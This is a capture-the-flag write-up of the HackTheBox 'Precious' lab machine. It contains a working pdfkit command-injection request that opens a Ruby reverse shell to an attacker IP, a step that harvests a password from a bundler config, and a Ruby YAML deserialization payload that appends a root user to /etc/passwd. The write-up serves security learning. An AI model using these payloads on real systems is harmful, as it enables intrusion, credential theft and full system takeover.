Enumeration

As usual, we start with an nmap scan to get a listing of open ports and running services on the host.

sudo nmap -sT -sV -sC -oN scan_full.log -p- -T5 -Pn -n -v $target
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The ports open are typical of a Linux web server; port 22 for remote administration via SSH and 80 for the web server.

Going to the host in the browser immediately redirects us to precios.htb so we must add this to our /etc/hosts file so it can be resolved correctly.

After refreshing the browser, we can now view the site. The site has a single input field and a header that says, “Convert Web Page to PDF”, and “Enter URL to Fetch”. This looks like it will call out to any URL we give it.

Let’s stand up a nc listener so we can see what comes through if it does indeed reach out to anything it is given:

nc -lnvp 4444

Then pass it the URL of http://<your_ip>:4444 and see what arrives in the nc listener.

listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.189] 43490
GET / HTTP/1.1
Host: 10.10.14.10:4444
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*

This verifies that it will call out to whatever we pass to the input field. It is using wkhtmltopdf to do this PDF conversion.

Attempt to Exploit wkhtmltopdf

One thing we can try is to abuse the local file inclusion vulnerability of some versions of wkhtmltopdf. We can craft this file (exploit.html):

<html>
  <head>
    <title>Exploit</title>
  </head>
  <body>
    <iframe src=”file:///etc/passwd” height=”500” width=”500”></iframe>
  </body>
</html>

And see if we can get the PDF rendered with the /etc/passwd file included. So we stand up a python web server using:

python3 -m http.server 9091

And submit the URL of http://<your_ip>:9091/exploit.html and watch what happens:

Serving HTTP on 0.0.0.0 port 9091 (http://0.0.0.0:9091/) ...
10.10.11.189 - - [02/Sep/2024 08:41:55] "GET /exploit.html HTTP/1.1" 200 -
10.10.11.189 - - [02/Sep/2024 08:41:56] code 404, message File not found
10.10.11.189 - - [02/Sep/2024 08:41:56] "GET /%E2%80%9Dfile:///etc/passwd%E2%80%9D HTTP/1.1" 404 -

Notice that the request for the /etc/passwd file actually comes back to our host? It was not loaded locally. This type of exploit won’t work.

Exploiting pdfkit

When we submit a real, non-malicious HTML payload to the site, such as:

<html>
  <head>
    <title>Exploit</title>
  </head>
  <body>
    <p>Test</p>
  </body>
</html>

We get back a PDF file with a guid for a name. Running exiftool against the PDF reveals some interesting information:

ExifTool Version Number         : 12.76
File Name                       : 5e0a5xxldg4yim3d0v9k47v2x31he3cc.pdf
Directory                       : /home/xxxx/Downloads
File Size                       : 10 kB
File Modification Date/Time     : 2024:09:02 08:46:37+10:00
File Access Date/Time           : 2024:09:02 08:46:38+10:00
File Inode Change Date/Time     : 2024:09:02 08:46:38+10:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

We now know the PDF generation is done by pdfkit version 0.8.6. We can search for specific exploits for this technology. Annoyingly, the first exploit I found for this version had been specifically tested against Precious so I knew it would work. https://github.com/shamo0/PDFkit-CMD-Injection

We can start up an nc listener on our attack host using:

rlwrap nc -lnvp 4444

I use rlwrap because it provides a useful quick wrapper for up/down arrows in a terminal.

Then we send the exploit mentioned above (you’ll need to replace the local host and port with your own):

curl 'http://precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: $target' -H 'Connection: keep-alive' -H 'Referer: precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.14.10%3A4444%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.10%22%2C4444%29%29%27%60'

Over in our nc we get a shell which we need to upgrade with python3:

listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.189] 53868
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$

We arrive on the host as the ruby user but we need to escalate privileges to become the henry user which we can see in the /home folders.

We can see the config for the ruby application that says the bundler config is stored in this user’s home directory. We can cat ~/.bundle/config to find the password of the henry user:

ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:<redacted>"

Privilege Escalation to Root

As the henry user, we can run sudo -l to see that we have the ability to run something as root:

Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

The update_dependencies.rb is readable and shows us this:

# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The important bit of information is the YAML.load function that will load whatever is in the dependencies.yml file. This is a relative path so we can run this from anywhere that we have write access to such as /dev/shm and we create our own dependencies.yml file.

There is an insecure deserialization vulnerability in Ruby because of the YAML.load function. There is a payload example here, https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md

I modified it to be this:

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: echo 'pentester:$1$3/vMHtaa$SK5QeFSNPR40GFN6YEbJ1.:0:0:root:/root:/bin/bash' >> /etc/passwd
         method_id: :resolve

What this does is trigger an appending of a new pentester user (credential Pentester123!) to the /etc/passwd file when it is run by:

/usr/bin/ruby /opt/update_dependencies.rb

Triggering this appends the user and we can escalate to root using su pentester:

henry@precious:/dev/shm$ su pentester
su pentester
Password: Pentester123!

root@precious:/dev/shm# id
id
uid=0(root) gid=0(root) groups=0(root)